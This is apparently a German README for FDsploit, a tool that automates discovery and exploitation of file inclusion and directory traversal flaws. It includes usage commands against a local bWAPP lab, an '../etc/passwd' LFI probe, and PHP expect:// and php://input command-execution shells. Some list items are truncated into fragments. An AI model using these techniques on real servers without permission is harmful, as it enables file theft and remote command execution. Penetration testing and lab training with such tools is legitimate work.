
File Inclusion und Directory Traversal Fuzzing, Enumeration und Exploitation Tool.
FDsploit Menü:
$ python fdsploit.py -h
_____ ____ _ _ _
| __| \ ___ ___| |___|_| |_
| __| | |_ -| . | | . | | _|
|__| |____/|___| _|_|___|_|_|
|_|...ver. 1.2
Author: Christoforos Petrou (game0ver) !
usage: fdsploit.py [-u | -f ] [-h] [-p] [-d] [-e {0,1,2}] [-t] [-b] [-x] [-c]
[-v] [--params [...]] [-k] [-a] [--cmd]
[--lfishell {None,simple,expect,input}]
FDsploit.py: Automatic (L|R)FI & directory traversal enumeration & exploitation.
Required (one of the following):
-u , --url Specify a url or
-f , --file Specify a file containing urls
Optional:
-h, --help Show this help message and exit
-p , --payload Specify a payload-file to look for [default None]
-d , --depth Specify max depth for payload [default 5]
-e {0,1,2}, --urlencode {0,1,2}
Url-encode the payload [default: False]
-t , --tchar Use a termination character ('%00' or '?') [default None]
-b, --b64 Use base64 encoding [default False]
-x , --proxy Specify a proxy to use [form: host:port]
-c , --cookie Specify a session-cookie to use [default None]
-v , --verb Specify request type ('GET' or 'POST') [default GET]
--params [ ...] Specify POST parameters to use (applied only with POST requests)
Form: param1:value1,param2:value2,...
-k , --keyword Search for a certain keyword(s) on the response [default: None]
-a, --useragent Use a random user-agent [default user-agent: FDsploit_1.2_agent]
--cmd Test for command execution through PHP functions [default command: None]
--lfishell {None,simple,expect,input}
LFI pseudoshell [default None]
[!] For More Details please read the README.md file!
FDsploit kann verwendet werden, um Local/Remote File Inclusion und Directory Traversal Schwachstellen automatisch zu entdecken und auszunutzen. Falls eine LFI-Schwachstelle gefunden wird, kann die Option --lfishell verwendet werden, um sie auszunutzen. Derzeit werden 3 verschiedene Arten von LFI-Shells unterstützt:
simple: Diese Shell ermöglicht es dem Benutzer, Dateien einfach zu lesen, ohne jedes Mal die URL eingeben zu müssen. Außerdem liefert sie nur die Ausgabe der Datei und nicht den gesamten HTML-Quellcode der Seite, was sehr nützlich ist.expect: Diese Shell ist eine semi-interaktive Shell, die es dem Benutzer ermöglicht, Befehle über den expect:// Wrapper von PHP auszuführen.input: Diese Shell ist eine semi-interaktive Shell, die es dem Benutzer ebenfalls ermöglicht, Befehle über den php://input Stream von PHP auszuführen.Bisher gibt es nur zwei integrierte Befehle in der LFI-Shell:
clear undexit.*) angegeben werden.Anhand der folgenden Ausgabe scheint der directory Parameter wahrscheinlich anfällig für Directory Traversal zu sein, da jede Anfrage mit ../ als Payload einen anderen SHA-256-Hash erzeugt. Auch die Content-Länge ist bei jeder Anfrage unterschiedlich:
./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/directory_traversal_2.php?directory=documents' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 8
Auch der Parameter language scheint anfällig für LFI zu sein, da bei Verwendung von ../etc/passwd usw. als Payload jede grün markierte Anfrage einen anderen Hash, eine andere Content-Länge als die ursprüngliche erzeugt und das angegebene Schlüsselwort in der Antwort gefunden wird:
./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/rlfi.php?language=*&action=go' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 7 -k root -p /etc/passwd
Ausnutzung der obigen LFI mit der simple Shell:
POST Verb verwendet wird, muss auch die Option --params angegeben werden.--payload auf den Standardwert (None) belassen werden.--file für mehrere URLs verwendet wird, wird nur die GET-Anfrage unterstützt.--file als auch --cookie gesetzt sind, müssen die URLs zur gleichen Domain gehören oder ohne Cookie zugänglich sein, da jeweils nur ein Cookie angegeben werden kann (dies wird in einem zukünftigen Update behoben).input Shell ist nicht mit dem POST Verb kompatibel.Hinweis: Um die Anforderungen zu installieren:
pip install -r requirements.txt --upgrade --user
💡 FDsploit wird auch mit der BlackArch Linux Distribution vorinstalliert geliefert.
--file ebenfalls mit POST-Parametern und Cookies funktionsfähig machen, wahrscheinlich unter Verwendung einer json-Datei usw. als Eingabe.--lfishell hinzufügen, z.B. history usw.Feedback und Beiträge sind willkommen. Wenn Sie einen Fehler finden oder eine Funktion wünschen, können Sie gerne ein Issue eröffnen. Sobald ich es überprüft habe, werde ich versuchen, es zu beheben!
Dieses Tool dient ausschließlich Test- und akademischen Zwecken und darf nur verwendet werden, wenn eine ausdrückliche Einwilligung vorliegt. Verwenden Sie es nicht für illegale Zwecke! Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, regionalen und nationalen Gesetze einzuhalten. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Tool und die Software im Allgemeinen verursacht werden.
Dieses Projekt ist unter der GPLv3-Lizenz lizenziert - siehe die Datei LICENSE für Details.